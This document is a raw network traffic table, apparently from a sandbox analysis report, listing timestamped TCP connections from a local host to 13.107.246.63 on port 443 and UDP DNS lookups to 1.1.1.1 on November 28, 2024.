Nov 28, 2024 06:49:57.800683022 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.800735950 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.800802946 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.800981998 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.800997019 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.816147089 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.816593885 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.816608906 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.817058086 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.817061901 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.927120924 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.927758932 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.927789927 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:57.928256035 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:57.928263903 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.268265963 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.271476030 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.271549940 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.271585941 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.271600008 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.271609068 CET	50022	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.271614075 CET	443	50022	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.274544001 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.274596930 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.274652958 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.274816990 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.274832964 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.395270109 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.398494959 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.398595095 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.398650885 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.398650885 CET	50023	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.398675919 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.398689032 CET	443	50023	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.401916981 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.401953936 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:58.402029037 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.402168036 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:58.402183056 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.471497059 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.472084045 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.472099066 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.472606897 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.472611904 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.527431011 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.528321981 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.528341055 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.529160023 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.529169083 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.923038006 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.923094988 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.923239946 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.923526049 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.923553944 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.923569918 CET	50025	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.923574924 CET	443	50025	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.926584959 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.926625967 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.926826000 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.926856041 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.926861048 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.971101046 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.974364042 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.974401951 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.974425077 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.974459887 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.974530935 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.974545002 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.974555969 CET	50026	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.974560976 CET	443	50026	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.977591038 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.977612972 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:59.977690935 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.978020906 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:59.978030920 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.063065052 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.063724041 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.063747883 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.064112902 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.064119101 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.066760063 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.067095041 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.067132950 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.067509890 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.067517042 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.131181955 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.131632090 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.131644964 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.132121086 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.132124901 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.505357027 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.508878946 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.508924007 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.509054899 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.509054899 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.509054899 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.511358023 CET	50024	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.511367083 CET	443	50024	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.511919022 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.511959076 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.512037039 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.512164116 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.512181044 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.518347979 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.521822929 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.521882057 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.522059917 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.522059917 CET	50027	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.522077084 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.522088051 CET	443	50027	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.523978949 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.523996115 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:00.524070024 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.524293900 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:00.524307013 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:01.769109011 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:01.770052910 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:01.770075083 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:01.770538092 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:01.770540953 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:01.783196926 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:01.785736084 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:01.785753012 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:01.786108971 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:01.786118984 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.220386028 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.220484018 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.220769882 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.220822096 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.220822096 CET	50030	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.220846891 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.220855951 CET	443	50030	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.223854065 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.223906994 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.223978996 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.224143028 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.224153996 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.245188951 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.245910883 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.245922089 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.246396065 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.246401072 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.247507095 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.250818014 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.250866890 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.250946999 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.250967026 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.250971079 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.250986099 CET	50029	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.250989914 CET	443	50029	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.253561974 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.253598928 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.253679037 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.253793955 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.253810883 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.313900948 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.314574003 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.314589024 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.315076113 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.315082073 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.321322918 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.324697971 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.324774981 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.324836969 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.324848890 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.324857950 CET	50028	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.324863911 CET	443	50028	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.328115940 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.328131914 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.328389883 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.328389883 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.328408003 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.686486959 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.689651966 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.689732075 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.711605072 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.711643934 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.711657047 CET	50031	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.711663961 CET	443	50031	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.718579054 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.718620062 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.718707085 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.718940973 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.718959093 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.768958092 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.772074938 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.772118092 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.772185087 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.773286104 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.773303986 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.773313999 CET	50032	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.773320913 CET	443	50032	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.777160883 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.777190924 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:02.777259111 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.777451992 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:02.777463913 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.002182007 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.003063917 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.003087997 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.003484964 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.003494024 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.016045094 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.016726017 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.016745090 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.017072916 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.017079115 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.045718908 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.046478033 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.046493053 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.046850920 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.046858072 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.465239048 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.468331099 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.468394041 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.468435049 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.468450069 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.468456984 CET	50035	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.468461990 CET	443	50035	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.468751907 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.471997023 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.472081900 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.472150087 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.472152948 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.472161055 CET	50033	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.472163916 CET	443	50033	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.472279072 CET	50038	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.472313881 CET	443	50038	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.472377062 CET	50038	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.473042965 CET	50038	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.473059893 CET	443	50038	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.474374056 CET	50039	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.474419117 CET	443	50039	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.474483967 CET	50039	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.474617004 CET	50039	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.474630117 CET	443	50039	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.507138968 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.507776976 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.507790089 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.508399963 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.508404016 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.525718927 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.526154041 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.526163101 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.526575089 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.526578903 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.533477068 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.537715912 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.537765026 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.537791967 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.537877083 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.537931919 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.537950993 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.537960052 CET	50034	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.537966967 CET	443	50034	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.541477919 CET	50040	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.541527987 CET	443	50040	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.541937113 CET	50040	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.542160034 CET	50040	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.542174101 CET	443	50040	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.949736118 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.952977896 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.953033924 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.953078032 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.953090906 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.953104019 CET	50037	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.953110933 CET	443	50037	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.956049919 CET	50041	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.956084013 CET	443	50041	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.956151009 CET	50041	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.956296921 CET	50041	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.956309080 CET	443	50041	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.978773117 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.982038975 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.983530998 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.983597994 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.983613014 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.983623028 CET	50036	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.983628035 CET	443	50036	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.985923052 CET	50042	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.985960960 CET	443	50042	13.107.246.63	192.168.2.5
Nov 28, 2024 06:50:04.986187935 CET	50042	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.986301899 CET	50042	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:50:04.986318111 CET	443	50042	13.107.246.63	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 06:48:09.591712952 CET	54460	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:09.591865063 CET	65270	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:09.708992958 CET	53	49218	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:09.732223988 CET	53	54813	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:09.733277082 CET	53	65270	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:09.735183001 CET	53	54460	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:12.779242992 CET	53	58565	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:15.257129908 CET	53	61905	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:22.937104940 CET	58185	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:22.937280893 CET	58761	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:23.083497047 CET	53	58761	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:25.234158039 CET	58392	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:25.234327078 CET	53439	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:26.750386953 CET	56811	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:26.750916004 CET	63015	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:26.893076897 CET	53	56811	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:26.991842031 CET	53	63015	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:27.564372063 CET	53485	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:27.564951897 CET	56658	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:27.565783024 CET	60964	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:27.566286087 CET	65176	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:27.605460882 CET	57503	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:27.605817080 CET	56186	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:27.706587076 CET	53	53485	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:27.706631899 CET	53	56658	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:27.707272053 CET	53	65176	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:27.707515955 CET	53	60964	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:27.746776104 CET	53	57503	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:27.747059107 CET	53	56186	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:27.998533964 CET	50976	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:27.998688936 CET	52160	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:28.010999918 CET	51881	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:28.011152983 CET	58084	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:28.140016079 CET	53	50976	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:28.140060902 CET	53	52160	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:28.144341946 CET	62724	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:28.144738913 CET	61814	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:28.286721945 CET	53	61814	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:28.300575972 CET	57062	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:28.300721884 CET	53932	53	192.168.2.5	1.1.1.1
Nov 28, 2024 06:48:28.442816973 CET	53	53932	1.1.1.1	192.168.2.5
Nov 28, 2024 06:48:30.216506958 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:30.527728081 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.134624958 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.183130980 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.352771997 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.352888107 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.354042053 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.354145050 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.354777098 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.355457067 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.357721090 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.369394064 CET	55941	443	192.168.2.5	172.64.41.3
Nov 28, 2024 06:48:31.462181091 CET	443	55941	172.64.41.3	192.168.2.5
Nov 28, 2024 06:48:31.493741989 CET	51790	443	192.168.2.5	162.159.61.3
Nov 28, 2024 06:48:31.684865952 CET	443	55941	172.64.41.3	192.168.2.5
